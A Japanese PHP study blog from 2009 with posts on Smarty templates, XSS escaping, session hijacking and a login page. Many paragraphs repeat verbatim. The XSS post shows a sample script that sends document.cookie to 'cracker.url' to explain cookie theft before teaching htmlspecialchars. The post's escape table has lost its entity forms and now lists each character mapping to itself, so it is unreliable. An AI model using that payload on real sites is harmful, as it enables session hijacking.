実行中のファイル名やディレクトリ名を取得する
2009.01.04 Sunday | category:php
これでももって実行中のファイル名が取得出来る。(ファイルのパスも込みで)
これに「dirname」関数を併用すると、この実行中のスクリプトファイルがあるディレクトリ名を取得出来る。
例えば、input.phpというスクリプトファイルを実行していて、このファイルと同ディレクトリにあるconfirm.phpに、header関数を使ってリダイレクトさせたいときは以下のようになる。
input.php
$_SERVER["SCRIPT_NAME"]
これに「dirname」関数を併用すると、この実行中のスクリプトファイルがあるディレクトリ名を取得出来る。
dirname($_SERVER["SCRIPT_NAME"])
例えば、input.phpというスクリプトファイルを実行していて、このファイルと同ディレクトリにあるconfirm.phpに、header関数を使ってリダイレクトさせたいときは以下のようになる。
input.php
<?php
// 変数$urlに、リダイレクトさせたい先のファイル名&パスを格納
$url = "http://" . $_SERVER["HTTP_HOST"] . dirname($_SERVER["SCRIPT_NAME"]) . "/confirm.php";
// header関数を使って変数$urlに格納されているリダイレクト先URLへとばす
header ("Location: " . $url);
?>
Smartyのカスタム設定
2009.01.03 Saturday | category:php
◆スクリプトの漏洩を防ぎ、使い勝手を向上させる設定
Smartyテンプレートファイルに直接アクセスされるのを防ぐために、Smartyクラスの継承を利用して、以下のようにカスタムのclassファイルを作成し、templatesやtemplates_c、cache、configsディレクトリの位置も変更する。
デフォルトで全ての変数(Smartyテンプレート内の)にescape処理をかける設定もする。
Smartyのデリミタを{{}}に変更して、テンプレート内でJavaScriptのfunction構文等が入った時にも大丈夫なようにする。
ファイルやディレクトリの構成を以下に変更
/libs/MySmarty.class.php
/htdocs/php_10days/smarty1.php(サンプルスクリプト)
/templates/smarty1.tpl
Smartyテンプレートファイルに直接アクセスされるのを防ぐために、Smartyクラスの継承を利用して、以下のようにカスタムのclassファイルを作成し、templatesやtemplates_c、cache、configsディレクトリの位置も変更する。
デフォルトで全ての変数(Smartyテンプレート内の)にescape処理をかける設定もする。
Smartyのデリミタを{{}}に変更して、テンプレート内でJavaScriptのfunction構文等が入った時にも大丈夫なようにする。
ファイルやディレクトリの構成を以下に変更
├ htdocs
│ └ php_10days // PHPスクリプトを置く場所
├ libs
│ ├ MySmarty.class.php
│ └ Smarty.class.php
│
├ templates
├ templates_c // Webサーバの書き込み権限を与えておく
├ configs
└ cache // Webサーバの書き込み権限を与えておく
/libs/MySmarty.class.php
<?php
// ルートディレクトリを変数ROOT_DIRにセットする
define("ROOT_DIR", $_SERVER['DOCUMENT_ROOT']."/..");
// Smartyクラスを呼び出す
require_once("Smarty.class.php");
// Smartyクラスを継承したMySmartyクラスを作成する
class MySmarty extends Smarty {
// コンストラクタ
function MySmarty() {
// Smartyで使用する四つのディレクトリのパスを上書き
$this->template_dir = ROOT_DIR."/templates";
$this->compile_dir = ROOT_DIR."/templates_c";
$this->cache_dir = ROOT_DIR."/cache";
$this->config_dir = ROOT_DIR."/configs";
// 左右デリミタを上書き
$this->left_delimiter = "{{";
$this->right_delimiter = "}}";
// デフォルトで全ての変数にescapeをかける設定
$this->default_modifiers = array('escape');
// Smartyクラスのコンストラクタの呼び出し
$this->Smarty();
}
}
?>
/htdocs/php_10days/smarty1.php(サンプルスクリプト)
<?php
// Smarty.classの呼び出し
require_once($_SERVER["DOCUMENT_ROOT"]."/../libs/MySmarty.class.php");
// 追加するHTMLフォーム
$scalar = "Hello Smarty!";
$sex["m"] = "men";
$sex["f"] = "women";
// 新しく作成したMySmartyインスタンスの生成
$smarty = new MySmarty();
// テンプレート変数の割り当て
$smarty->assign("scalar", $scalar);
$smarty->assign("sex", $sex);
// テンプレートを表示
$smarty->display("smarty1.tpl");
?>
/templates/smarty1.tpl
<html>
<head>
<title>Smarty実行サンプル</title>
</head>
<body>
{{$scalar}}<br />
{{$sex.m}}<br />
{{$sex.f}}<br />
</body>
</html>
XSS/クロスサイト・スクリプティングとエスケープ処理
2009.01.03 Saturday | category:php
入力フォームに記述されたHTMLやJavaScriptがそのまま実行されてしまうと、HTMLの表示が制作者が意図したものと違うものになってしまうといった問題の他に、以下のようなセキュリティ面での問題が出てくる。
たとえば、以下はJavaScriptを使用したcookie値をブラウザから盗むスクリプト。
このスクリプトは、他の一般ユーザが投稿記事を閲覧したタイミングで実行される。すると、一般ユーザのセッションIDが攻撃者のサイトに通知されてしまう。
こういったXSSの脆弱性からサイトの利用者を守るためには、ブラウザが認識するHTMLタグ構成文字列を無害な文字列に「エスケープ」する必要がある。
エスケープ処理する必要のある文字列の例
文字列に対してすべてエスケープ処理を施すのは大変だが、PHPで用意されているhtmlspecialchars関数を利用することにより、簡単にエスケープ処理することが可能。
本文をエスケープ処理する
XSSの完全な対策として、変数が安全だと分かっていても「出力する全ての変数」にこの処理を行う必要がある。Smartyのescape修飾子{$body|escape}を利用すると、htmlspecialchars($body,ENT_QUOTES); と同様の処置を行ってから出力してくれる。
出力する全てのSmarty変数にこの処置をするのは面倒だが、この処置を忘れるといつでもXSSの危険に晒されることになるので注意。
- cookieの値をWebブラウザから取得し、このcookie内のセッションIDを取得してセッションハイジャックを行う。
- ページ内容を書き換えてフィッシングを行う。
- フォームのアクション先を改竄して(別ページに飛ばして)ユーザからの入力値を盗む。
たとえば、以下はJavaScriptを使用したcookie値をブラウザから盗むスクリプト。
<script type="text/javascript">
// cookie情報をGETに付加して、攻撃者のサイトへリダイレクトさせる
location.href = "http://cracker.url/?" + document . cookie;
</script>
このスクリプトは、他の一般ユーザが投稿記事を閲覧したタイミングで実行される。すると、一般ユーザのセッションIDが攻撃者のサイトに通知されてしまう。
こういったXSSの脆弱性からサイトの利用者を守るためには、ブラウザが認識するHTMLタグ構成文字列を無害な文字列に「エスケープ」する必要がある。
エスケープ処理する必要のある文字列の例
& -> &
< -> <
> -> >
' -> '
" -> "
文字列に対してすべてエスケープ処理を施すのは大変だが、PHPで用意されているhtmlspecialchars関数を利用することにより、簡単にエスケープ処理することが可能。
本文をエスケープ処理する
<?php
print htmlspecialchars($body, ENT_QUOTES);
// 第二引数にENT_QUOTESを与えないとシングルクォーテーションが
// エスケープされないので、必ず指定すること
?>
XSSの完全な対策として、変数が安全だと分かっていても「出力する全ての変数」にこの処理を行う必要がある。Smartyのescape修飾子{$body|escape}を利用すると、htmlspecialchars($body,ENT_QUOTES); と同様の処置を行ってから出力してくれる。
出力する全てのSmarty変数にこの処置をするのは面倒だが、この処置を忘れるといつでもXSSの危険に晒されることになるので注意。
Smartyの使い方:Smarty関数
2009.01.02 Friday | category:php
Smartyには大きく分けて二種類の関数が用意されている。それぞれ「組み込み関数」「カスタム関数」と呼ばれる。
組み込み関数はSmarty内部で動作し、変更や修正をすることはない。
カスタム関数は追加のプラグインで用意されていて、変更や修正だけでなく、新しい関数を作成することも出来る。
また、Smartyではifやforeachも関数(組み込み関数)として扱われる。
Smartyの関数は、組み込み、カスタム、合わせても30ほどしか用意されていない。以下に、よく使われるメジャーなものをいくつか。
◆インクルード{include}
外部ファイルをインクルードするための関数。多くのページで共有できる、例えばヘッダやフッタといったブロックを別なテンプレートとして作成し、これをインクルードして他のテンプレートで使用するといった使い方。
smarty_include.phpをsmarty_include.tpl、sample_header.tpl、sample_footer.tplという三つのテンプレートファイル(後者2ファイルをsmarty_include.tplが読み込む形)で作成する。
smarty_include.php
smarty_include.tpl
sample_header.tpl
sample_footer.tpl
◆循環出力{cycle}
cycle関数は指定した値を循環させて出力するための関数で、ループ内で使用する。例えば、table内の行を1行ずつ交互に背景色を変化させる等。
smarty_foreach.php
smarty_foreach2.tpl
◆option要素の自動生成{html_options}
htmlのselectタグやoption要素を自動で生成する関数。選択式メニューを作成する場合等に非常に便利で有用な関数。
cycle関数で使用した「smarty_foreach.php」を流用して、テンプレートだけ新たに作成。
smarty_foreach3.tpl
◆html_radios関数{html_radios}
ラジオボタン<input type="radio">のタググループを生成する関数。
これもcycle関数で使用した「smarty_foreach.php」を流用して、テンプレートだけ以下のように作成。
smarty_foreach4.tpl
◆チェックボックスの自動生成{html_checkboxes}
チェックボックス<input type="checkbox">のタググループを生成する関数。
ラジオボタンと違って複数の値を選択可能なので配列を指定する。改行タグなどを要素ごとの区切りに指定して縦並び表示することも可能。
smarty_foreach5.php
smarty_foreach5.tpl
◆assignされている値を調べる{debug}
テンプレート内でどのような値がassignされているかを確かめることが出来る。
テンプレート内で{debug}と記述すると「Smarty Debug Console」が出現し、assignで割り当てられている変数を表示してくれる。
debug.tpl
◆Smarty構文の回避{literal}~{/literal}
Smartyのタグとして解釈される中括弧{}を、それと認識させずにエスケープする際に使う。(単純にデザインとして中括弧記号を使用したい場合)
◆修飾子
修飾子は変数を修飾して出力することが出来る。修飾子を適用するには、変数の後に「|」*パイプで修飾子の名前を指定する。また、修飾子は関数同様に引数を必要とする場合がある。引数は修飾子の後に「:」で区切って指定する。複数の修飾子を連結させて利用することも出来る。
*注意*
パイプやコロンの前後に余計な半角スペースを入れてはいけない。
smarty_modifire.php
smarty_modifire.tpl
◆予約変数{$smarty}
{$smarty}というテンプレート変数を利用することで、PHPスクリプト側でassignを使って割り当てを行わずとも、テンプレート側で呼び出すことが出来る。以下、いくつかの例。(スーパーグローバル変数を{$smarty}変数を使ってSmartyテンプレート側で呼び出しの例)
他にも
{foreach}を使う場合、{$smarty.foreach}を使ってループの状態を取得することが出来る。ループの状態とは「初回ループ」「最終ループ」「ループ回数」など。
{$smarty.now}を使ってUNIXタイム(1970年1月1日から現在までの経過秒数)を取得することも出来る。
smarty_smarty.php
smarty_smarty.tpl
組み込み関数はSmarty内部で動作し、変更や修正をすることはない。
カスタム関数は追加のプラグインで用意されていて、変更や修正だけでなく、新しい関数を作成することも出来る。
また、Smartyではifやforeachも関数(組み込み関数)として扱われる。
Smartyの関数は、組み込み、カスタム、合わせても30ほどしか用意されていない。以下に、よく使われるメジャーなものをいくつか。
◆インクルード{include}
外部ファイルをインクルードするための関数。多くのページで共有できる、例えばヘッダやフッタといったブロックを別なテンプレートとして作成し、これをインクルードして他のテンプレートで使用するといった使い方。
smarty_include.phpをsmarty_include.tpl、sample_header.tpl、sample_footer.tplという三つのテンプレートファイル(後者2ファイルをsmarty_include.tplが読み込む形)で作成する。
smarty_include.php
<?php
// Smartyクラスの呼び出し
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// Smartyインスタンスの生成
$smarty = new Smarty();
// 表示に使うテンプレートを指定
$smarty->display("smarty_include.tpl");
?>
smarty_include.tpl
<html>
<head>
<title>Smarty include sample</title>
</head>
<body>
{* ヘッダテンプレートを読み込む構文で
page_title変数をアサインしている *}
{include file="sample_header.tpl" page_title="このページのタイトル"}
<hr />
<ul>
<li>ここにコンテンツ</li>
<li>ここにコンテンツ</li>
</ul>
<hr />
{* フッタテンプレートを読み込む構文 *}
{include file="sample_footer.tpl"}
</body>
</html>
sample_header.tpl
<div>
<a href="#">トップページ</a>
<a href="#">サイトマップ</a>
{* smarty_include.tplでアサインした変数を表示 *}
<h1>{$page_title}</h1>
</div>
sample_footer.tpl
<div>
<a href="#">トップページ</a>
<ul>
<li><a href="#">利用規約</a>
<li><a href="#">プライバシーポリシー</a>
</ul>
</div>
◆循環出力{cycle}
cycle関数は指定した値を循環させて出力するための関数で、ループ内で使用する。例えば、table内の行を1行ずつ交互に背景色を変化させる等。
{cycle value= 循環出力したい値をカンマ区切りで指定 }
smarty_foreach.php
<?php
// Smartyクラスを呼び出す
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// 都道府県を配列にして格納
$pre[1]= "北海道";
$pre[2]= "青森県";
$pre[3]= "岩手県";
$pre[4]= "宮城県";
$pre[5]= "秋田県";
$pre[6]= "山形県";
$pre[13]= "東京都";
$pre[47]= "沖縄県";
// Smartyインスタンスを生成
$smarty = new Smarty();
// テンプレート変数を割り当て
$smarty->assign("pre", $pre);
// 表示するためのテンプレートを指定
$smarty->display("smarty_foreach2.tpl");
?>
smarty_foreach2.tpl
住所:
<select name="pre">
{* 都道府県の配列がなくなるまで繰り返す *}
{foreach from=$pre item=pre_name key=num}
{* keyをオプションのvalue値にして
配列の内容をオプションのテキストとして表示 *}
<option value="{$num}">{$pre_name}</option>
{* 都道府県の配列が空の場合の処理 *}
{foreachelse}
<option value="">選択できません</option>
{/foreach}
</select>
<h2>cycle関数の使用例</h2>
<table border="1">
<tr>
<th>都道府県名</th>
</tr>
{foreach from=$pre item=pre_name key=num}
{* 最初に指定した値から交互に繰り返す *}
<tr bgcolor="{cycle values="#eeeeee,#666666"}">
<td>{$pre_name}</td>
</tr>
{/foreach}
</table>
◆option要素の自動生成{html_options}
htmlのselectタグやoption要素を自動で生成する関数。選択式メニューを作成する場合等に非常に便利で有用な関数。
{html_options name=selectタグの名前 options=キーがoptionのvalue属性、要素がテキスト部分の配列 selected=デフォルトでチェック状態にするキー }
cycle関数で使用した「smarty_foreach.php」を流用して、テンプレートだけ新たに作成。
smarty_foreach3.tpl
<h2>option要素の自動生成例</h2>
自動生成1
<select name="pre">
<option value="">選択してください</option>
{* option要素のみを生成 *}
{html_options options=$pre}
</select>
自動生成2
{* selectタグとoptionタグの両方を生成している *}
{html_options name=pref options=$pre selected=13}
◆html_radios関数{html_radios}
ラジオボタン<input type="radio">のタググループを生成する関数。
これもcycle関数で使用した「smarty_foreach.php」を流用して、テンプレートだけ以下のように作成。
smarty_foreach4.tpl
<h1>ラジオボタンの自動生成例</h1>
<h2>住所1(ラジオボタン)</h2>
<div>
{* ラジオボタンを横並び一列に生成 *}
{html_radios name="pre" options=$pre selected=13}
</div>
<h2>住所2(ラジオボタン)</h2>
<div>
{* ラジオボタンをそれぞれ要素ごとに改行して生成 *}
{html_radios name="pre" options=$pre selected=13 separator="<br />" }
</div>
◆チェックボックスの自動生成{html_checkboxes}
チェックボックス<input type="checkbox">のタググループを生成する関数。
ラジオボタンと違って複数の値を選択可能なので配列を指定する。改行タグなどを要素ごとの区切りに指定して縦並び表示することも可能。
{html_checkboxes name=checkboxタグの名前 options=キーがvalue属性、要素がテキスト部分の配列 selected=デフォでチェック状態にしておくキーを配列で指定 }
smarty_foreach5.php
<?php
// Smartyクラスを呼び出す
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// 都道府県を配列にして格納
$pre[1]= "北海道";
$pre[2]= "青森県";
$pre[3]= "岩手県";
$pre[4]= "宮城県";
$pre[5]= "秋田県";
$pre[6]= "山形県";
$pre[13]= "東京都";
$pre[47]= "沖縄県";
// Smartyインスタンスを生成
$smarty = new Smarty();
// デフォルトでチェック状態にしたいキーを配列で指定している
$smarty->assign("checked", array("6", "13"));
// テンプレート変数を割り当て
$smarty->assign("pre", $pre);
// 表示するためのテンプレートを指定
$smarty->display("smarty_foreach5.tpl");
?>
smarty_foreach5.tpl
<h1>チェックボックスの自動生成例</h1>
<h2>住所(チェックボックス)</h2>
{html_checkboxes name='pre' options=$pre selected=$checked separator='<br />'}
◆assignされている値を調べる{debug}
テンプレート内でどのような値がassignされているかを確かめることが出来る。
テンプレート内で{debug}と記述すると「Smarty Debug Console」が出現し、assignで割り当てられている変数を表示してくれる。
debug.tpl
{* デバッグコンソールの出力 *}
{debug}
住所:
<select name="pre">
{* 都道府県の配列がなくなるまで繰り返す *}
{foreach from=$pre item=pre_name key=num}
{* keyをオプションのvalue値にして
配列の内容をオプションのテキストとして表示 *}
<option value="{$num}">{$pre_name}</option>
{* 都道府県の配列が空の場合の処理 *}
{foreachelse}
<option value="">選択できません</option>
{/foreach}
</select>
◆Smarty構文の回避{literal}~{/literal}
Smartyのタグとして解釈される中括弧{}を、それと認識させずにエスケープする際に使う。(単純にデザインとして中括弧記号を使用したい場合)
{literal}
{ リテラル関数で括られた箇所はSmartyの構文としては認識されない }
{/literal}
◆修飾子
修飾子は変数を修飾して出力することが出来る。修飾子を適用するには、変数の後に「|」*パイプで修飾子の名前を指定する。また、修飾子は関数同様に引数を必要とする場合がある。引数は修飾子の後に「:」で区切って指定する。複数の修飾子を連結させて利用することも出来る。
*注意*
パイプやコロンの前後に余計な半角スペースを入れてはいけない。
smarty_modifire.php
<?php
// Smartyクラスの呼び出し
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// メッセージと日付のデータを変数に格納
$message = "hello smarty!";
$today = "2009-01-03 11:24:31";
// Smartyインスタンスを生成
$smarty = new Smarty();
// テンプレート変数の割り当て
$smarty->assign("message", $message);
$smarty->assign("today", $today);
// 表示テンプレートの指定
$smarty->display("smarty_modifire.tpl");
?>
smarty_modifire.tpl
{$message}<br />
{* 先頭文字を大文字に修飾して出力 *}
{$message|capitalize}<br />
{$today}<br />
{* 日付を日本語表記に修飾して出力 *}
{$today|date_format:"%Y年%m月 %d日"}<br />
◆予約変数{$smarty}
{$smarty}というテンプレート変数を利用することで、PHPスクリプト側でassignを使って割り当てを行わずとも、テンプレート側で呼び出すことが出来る。以下、いくつかの例。(スーパーグローバル変数を{$smarty}変数を使ってSmartyテンプレート側で呼び出しの例)
$_SERVER["HTTP_HOST"] -> {$smarty.server.HTTP_HOST}
$_GET["kye"] -> {$smarty.get.key}
$_POST["key"] -> {$smarty.post.key}
$_COOKIE["key"] -> {$smarty.cookie.key}
$_SESSION["key"] -> {$smarty.session.key}
他にも
{foreach}を使う場合、{$smarty.foreach}を使ってループの状態を取得することが出来る。ループの状態とは「初回ループ」「最終ループ」「ループ回数」など。
{$smarty.now}を使ってUNIXタイム(1970年1月1日から現在までの経過秒数)を取得することも出来る。
smarty_smarty.php
<?php
// Smartyクラスの呼び出し
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// Smartyインスタンスの生成
$smarty = new Smarty();
// このPHPスクリプト側では何もassignせずに
// テンプレートの指定だけをする
$smarty->display("smarty_smarty.tpl");
?>
smarty_smarty.tpl
実行時間は
{$smarty.now|date_format:'%Y-%m-%d %H:%M:%S'}
です。<br />
{foreach from=$smarty.server item=server name=server_roop}
{$smarty.foreach.server_roop.iteration}回目、
{if $smarty.foreach.server_roop.first}ループの最初の値は{$server}です。<br />{/if}
{if $smarty.foreach.server_roop.last}<br />ループの最後の値は{$server}です。<br />{/if}
{/foreach}
$_SERVER変数は{$smarty.foreach.server_roop.total}個の要素を持っています。
Smartyの使い方:基礎構文
2009.01.02 Friday | category:php
◆コメント文
テンプレート内にコメントを挿入できる。Smartyテンプレートにおけるコメント文はいったんコンパイルがされるので(Smartyエンジンによって)ブラウザで表示されることはなく、完全に隠蔽することが出来る。
◆if文
PHPと同様の使い方が可能。また、if文の中ではPHP関数を利用することも出来る。
smarty_if.php
/templates/smarty_if.tpl
◆foreach文
PHPと比べた場合、記述方法が若干違うので注意が必要。また、Smartyにおけるforeach文にはforeachelseが用意されており、ループするべき配列が配列でなかった場合や、配列が空だった場合に処理を分けることが出来る。
Smartyにおけるforeachの属性keyとitemに指定する変数名には、先頭に$記号をつけない。また、PHPにおけるforeach同様、ループ内でkeyを取得する必要がない場合はkey属性の記述を省略することが出来る。
smarty_foreach.php
<?php
// Smartyクラスを呼び出す
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// 都道府県を配列にして格納
$pre[1]= "北海道";
$pre[2]= "青森県";
$pre[3]= "岩手県";
$pre[4]= "宮城県";
$pre[5]= "秋田県";
$pre[6]= "山形県";
$pre[13]= "東京都";
$pre[47]= "沖縄県";
// Smartyインスタンスを生成
$smarty = new Smarty();
// テンプレート変数を割り当て
$smarty->assign("pre", $pre);
// 表示するためのテンプレートを指定
$smarty->display("smarty_foreach.tpl");
?>
/templates/smarty_foreach.tpl
テンプレート内にコメントを挿入できる。Smartyテンプレートにおけるコメント文はいったんコンパイルがされるので(Smartyエンジンによって)ブラウザで表示されることはなく、完全に隠蔽することが出来る。
{* このように中括弧とアスタリスクではさんだ内側のテキストがコメントとなる *}
{* 複数行にわたっても
大丈夫
こんな感じ *}
◆if文
PHPと同様の使い方が可能。また、if文の中ではPHP関数を利用することも出来る。
smarty_if.php
<?php
// Smartyクラスの呼び出し
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// 変数をセット
$sex = "m";
// Smartyインスタンスを生成
$smarty = new Smarty();
// テンプレート変数の割り当て
$smarty->assign("sex", $sex);
// 表示するテンプレートを指定
$smarty->display("smarty_if.tpl");
?>
/templates/smarty_if.tpl
■性別:
{* $sexの値がm、または1の場合 男 と表示する *}
{if $sex == "m" || $sex == "1"}
男
{* 上記の条件が当てはまらなかった場合 *}
{* $sexの値がf、または2の場合 女 と表示する *}
{elseif $sex == "f" || $sex == "2"}
女
{* 男、1、女、2、このどれにもあてはまらなかった場合は
未選択 と表示 *}
{else}
未選択
{/if}
■ あいさつ:
{* 時間が午前の場合 *}
{if date("a") == "am"}
おはようございます。
{* それ以外の場合 *}
{else}
お世話になっております。
{/if}
◆foreach文
PHPと比べた場合、記述方法が若干違うので注意が必要。また、Smartyにおけるforeach文にはforeachelseが用意されており、ループするべき配列が配列でなかった場合や、配列が空だった場合に処理を分けることが出来る。
{foreach from= ループする配列 key= キー値取得変数名 item= 要素取得変数名 }
{foreachelse}
{/foreach}
Smartyにおけるforeachの属性keyとitemに指定する変数名には、先頭に$記号をつけない。また、PHPにおけるforeach同様、ループ内でkeyを取得する必要がない場合はkey属性の記述を省略することが出来る。
smarty_foreach.php
<?php
// Smartyクラスを呼び出す
require_once($_SERVER["DOCUMENT_ROOT"]."/Smarty/Smarty.class.php");
// 都道府県を配列にして格納
$pre[1]= "北海道";
$pre[2]= "青森県";
$pre[3]= "岩手県";
$pre[4]= "宮城県";
$pre[5]= "秋田県";
$pre[6]= "山形県";
$pre[13]= "東京都";
$pre[47]= "沖縄県";
// Smartyインスタンスを生成
$smarty = new Smarty();
// テンプレート変数を割り当て
$smarty->assign("pre", $pre);
// 表示するためのテンプレートを指定
$smarty->display("smarty_foreach.tpl");
?>
/templates/smarty_foreach.tpl
住所:
<select name="pre">
{* 都道府県の配列がなくなるまで繰り返す *}
{foreach from=$pre item=pre_name key=num}
{* keyをオプションのvalue値にして
配列の内容をオプションのテキストとして表示 *}
<option value="{$num}">{$pre_name}</option>
{* 都道府県の配列が空の場合の処理 *}
{foreachelse}
<option value="">選択できません</option>
{/foreach}
</select>
Smartyクラスの必須メソッド
2009.01.02 Friday | category:php
assignメソッド
引数を2つ必要とする。第一引数にはテンプレートに割り当てる変数(テンプレート変数)を指定し、第二引数には第一引数に割り当てる値を指定する。割り当てが行われた変数が配列の場合は{$sex.m}のようにピリオドで繋ぐ。
displayメソッド
引数を1つ必要とし、これによって表示するテンプレートファイルを指定する。指定するテンプレートファイルは「templates」ディレクトリに配置されている必要がある。もしも、templatesディレクトリ内でさらに階層化されている場合は、その中でのディレクトリを具体的に指定する必要がある。
displayメソッドが呼ばれると、引数で渡されたSmartyテンプレート内のコードがPHPのスクリプトに置換され、PHPファイルに変換される。これはコンパイルと呼ばれ、このコンパイル処理が行われたPHPファイルがtemplates_cディレクトリに格納される。
コンパイルが実行されるのは、初めてテンプレートファイルが呼び出された時と、テンプレートファイルが更新された時のみ。なので、それ以外のアクセスにおいては処理速度が速い。
引数を2つ必要とする。第一引数にはテンプレートに割り当てる変数(テンプレート変数)を指定し、第二引数には第一引数に割り当てる値を指定する。割り当てが行われた変数が配列の場合は{$sex.m}のようにピリオドで繋ぐ。
displayメソッド
引数を1つ必要とし、これによって表示するテンプレートファイルを指定する。指定するテンプレートファイルは「templates」ディレクトリに配置されている必要がある。もしも、templatesディレクトリ内でさらに階層化されている場合は、その中でのディレクトリを具体的に指定する必要がある。
displayメソッドが呼ばれると、引数で渡されたSmartyテンプレート内のコードがPHPのスクリプトに置換され、PHPファイルに変換される。これはコンパイルと呼ばれ、このコンパイル処理が行われたPHPファイルがtemplates_cディレクトリに格納される。
コンパイルが実行されるのは、初めてテンプレートファイルが呼び出された時と、テンプレートファイルが更新された時のみ。なので、それ以外のアクセスにおいては処理速度が速い。
Smartyの動作テスト
2009.01.02 Friday | category:php
http://www.smarty.net/
で最新の安定版をインストールし、ダウンロードしたzipファイルを解凍。
ドキュメントルートにSmartyというディレクトリを作成し、解凍したSmartyのlibsディレクトリ内にある全てをこの/ドキュメントルート/Smarty/にコピーする。
自分の環境におけるドキュメントルート
/opt/local/apache2/htdocs/
このドキュメントルート内にSmartyモジュールが格納されているSmartyディレクトリを作成。
そして、このSmartyディレクトリと同じ階層にphp_10daysというディレクトリを作成し、この中にSmarty利用のための必要ディレクトリ四つ(templates, templates_c, configs, cache)を作成。
*templates_c, cacheにはWebサーバからの書き込み権限を与えておくこと。
そして、動作確認のためのサンプルphpファイル(smarty1.php)をphp_10days直下に。
実際にブラウザ上で表示するためのテンプレート(smarty1.phpの内容をこのテンプレートによって表示する)をphp_10days/templates内に置く。(smarty1.tpl)
◆Smarty
/opt/local/apache2/htdocs/Smarty/
└Config_File.class.php
└debug.tpl
└internals/
└plugins/
└Smarty_Compiler.class.php
└Smarty.class.php
◆テスト用ディレクトリ
/opt/local/apache2/htdocs/php_10days/
└smarty1.php
└templates/smarty1.tpl
└templates_c/
└configs/
└cache/
smarty1.php
*Smarty.class.phpへのパスが通っていて、実行するphpファイルとテンプレートとかのディレクトリがこの配置だったら、とくに各ディレクトリ(templatesとかtemplates_cとか)へのパスを指定する必要はなさそう。
smarty1.tpl
localhost/php_10days/smarty1.phpにブラウザでアクセスして確認する。
で最新の安定版をインストールし、ダウンロードしたzipファイルを解凍。
ドキュメントルートにSmartyというディレクトリを作成し、解凍したSmartyのlibsディレクトリ内にある全てをこの/ドキュメントルート/Smarty/にコピーする。
自分の環境におけるドキュメントルート
/opt/local/apache2/htdocs/
このドキュメントルート内にSmartyモジュールが格納されているSmartyディレクトリを作成。
そして、このSmartyディレクトリと同じ階層にphp_10daysというディレクトリを作成し、この中にSmarty利用のための必要ディレクトリ四つ(templates, templates_c, configs, cache)を作成。
*templates_c, cacheにはWebサーバからの書き込み権限を与えておくこと。
そして、動作確認のためのサンプルphpファイル(smarty1.php)をphp_10days直下に。
実際にブラウザ上で表示するためのテンプレート(smarty1.phpの内容をこのテンプレートによって表示する)をphp_10days/templates内に置く。(smarty1.tpl)
◆Smarty
/opt/local/apache2/htdocs/Smarty/
└Config_File.class.php
└debug.tpl
└internals/
└plugins/
└Smarty_Compiler.class.php
└Smarty.class.php
◆テスト用ディレクトリ
/opt/local/apache2/htdocs/php_10days/
└smarty1.php
└templates/smarty1.tpl
└templates_c/
└configs/
└cache/
smarty1.php
*Smarty.class.phpへのパスが通っていて、実行するphpファイルとテンプレートとかのディレクトリがこの配置だったら、とくに各ディレクトリ(templatesとかtemplates_cとか)へのパスを指定する必要はなさそう。
<?php
// Smarty.classの呼び出し
require_once ("../Smarty/Smarty.class.php");
// ↓ このようにドキュメントルートからの指定でもいい
// require_once ($_SERVER['DOCUMENT_ROOT']."/Smarty/Smarty.class.php");
// 追加するHTMLフォーム
$scalar = "Hello Smarty.";
$sex["m"] = "men";
$sex["f"] = "women";
// Smartyインスタンスを生成(実際に利用出来るように実体化)
$smarty = new Smarty();
// テンプレート変数の割り当て
$smarty->assign("scalar", $scalar);
$smarty->assign("sex", $sex);
// テンプレートを表示
$smarty->display("smarty1.tpl");
?>
smarty1.tpl
<html>
<head>
<title>Smartyテスト</title>
</head>
<body>
{$scalar}
{$sex.m}
{$sex.f}
</body>
</html>
localhost/php_10days/smarty1.phpにブラウザでアクセスして確認する。
セッションハイジャック
2009.01.02 Friday | category:php
セッションIDはセッション変数を復活させるための鍵であり、一時的にブラウザ側へその鍵を預ける形となる。
攻撃者はこのセッションIDを意図的に盗んだり、意図したセッションIDをを作成させることによって不正に他人のセッションを復活させ、そのIDでログイン&ページを閲覧する。これを「セッションハイジャック」という。
これを防ぐ方法としては、セッションIDを定期的に変更することが有効で、session_regenerate_id関数を利用する。
session_start関数を呼んだ直後に「session_regenerate_id(true)」を記述する。
以下のように。
攻撃者はこのセッションIDを意図的に盗んだり、意図したセッションIDをを作成させることによって不正に他人のセッションを復活させ、そのIDでログイン&ページを閲覧する。これを「セッションハイジャック」という。
これを防ぐ方法としては、セッションIDを定期的に変更することが有効で、session_regenerate_id関数を利用する。
session_start関数を呼んだ直後に「session_regenerate_id(true)」を記述する。
以下のように。
<?php
session_start();
session_regenerate_id(true);
ログイン画面を作る
2009.01.02 Friday | category:php
◆ログイン画面の作り方
・初めてのアクセスに対してログイン画面を表示
・アカウント情報を受け取って認証するスクリプト
・エラーメッセージの出力
これらはひとつのPHPスクリプトでまとめるのがスマート。
正しいアカウントとパスワードが入力され、ログイン認証が成功して初めて、他のPHPスクリプトに遷移するような作りにする。
◆ログイン画面 login.php の作成
ユーザがユーザ名を入力してログインボタンをクリックするとformタグのmethod属性がPOSTであるため、IDとパスワードはPOSTとしてPHPスクリプト側へ届く。同時にsubmitボタンの値もPOSTされる。つまり、この例では$_POST["login"]に"ログイン"という値が格納されている。
if ($_POST["login"])のように、変数の中身の存在チェックを行う際に変数自体が存在しない場合がある。この場合PHPではNOTICEエラーというのが出力されるが、この例では画面上にNOTICEエラーが出力されないようになっている。しかし、本来はisset関数を使って変数の存在をチェックすることが望ましい。
header関数はサーバからブラウザへHTTPヘッダ情報を送信する。第一引数にはヘッダ文字列を渡す。このとき「Location」という領域に記述されたURLを受け取ったブラウザは、受け取ったURLへのリダイレクト(再アクセス)を行う。
(この例ではanq_result.phpへリダイレクトされている)
*注意*
ブラウザの中にはLocationヘッダのリダイレクト先URLがフルパスで記述されていないとドメインを保管しないものがあるので気をつける。相対パスではなく、絶対パスでの記述を心がけること。
◆管理者専用画面 anq_result.php の作成
